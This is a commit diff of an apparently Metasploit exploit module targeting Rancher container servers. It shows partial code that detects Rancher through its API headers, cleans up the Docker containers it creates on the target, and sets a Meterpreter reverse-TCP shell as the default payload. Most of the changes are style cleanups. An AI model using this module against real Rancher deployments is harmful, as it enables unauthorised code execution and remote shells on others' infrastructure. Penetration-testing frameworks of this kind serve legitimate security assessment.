@@ -34,6 +34,7 @@ def initialize(info = {})
34
34
] ,
35
35
'Platform' => 'linux' ,
36
36
'Arch' => [ ARCH_X64 ] ,
37
+ 'Payload' => { 'Space' => 65000 } ,
37
38
'Targets' => [ [ 'Linux' , { } ] ] ,
38
39
'DefaultOptions' => { 'WfsDelay' => 75 , 'Payload' => 'linux/x64/meterpreter/reverse_tcp' } ,
39
40
'DefaultTarget' => 0 ,
@@ -65,6 +66,7 @@ def del_container(rancher_container_id, container_id)
65
66
'ctype' => 'application/json' ,
66
67
'headers' => { 'Accept' => 'application/json' }
67
68
)
69
+
68
70
return vprint_good ( 'The docker container has been removed.' ) if res && res . code == 200
69
71
70
72
print_warning ( "Manual cleanup of container \" #{ container_id } \" is needed on the target." )
@@ -118,12 +120,12 @@ def check
118
120
return Exploit ::CheckCode ::Unknown
119
121
end
120
122
121
- if res . code == 401 and res . headers . to_json . include? 'X-Rancher-Version'
123
+ if res . code == 401 && res . headers . to_json . include? ( 'X-Rancher-Version' )
122
124
print_error ( 'Authorization is required. Provide valid Rancher API Keys.' )
123
125
return Exploit ::CheckCode ::Detected
124
126
end
125
127
126
- if res . code == 200 and res . headers . to_json . include? 'X-Rancher-Version'
128
+ if res . code == 200 && res . headers . to_json . include? ( 'X-Rancher-Version' )
127
129
target_found = false
128
130
target_selected = false
129
131
@@ -213,7 +215,7 @@ def exploit
213
215
'ctype' => 'application/json' ,
214
216
'headers' => { 'Accept' => 'application/json' }
215
217
)
216
- next unless res . code == 200 and res . body . include? 'stopped'
218
+ next unless res && res . code == 200 && res . body . include? ( 'stopped' )
217
219
218
220
vprint_good ( 'The docker container has stopped, now trying to remove it' )
219
221
del_container ( rancher_container_id , container_id )
0 commit comments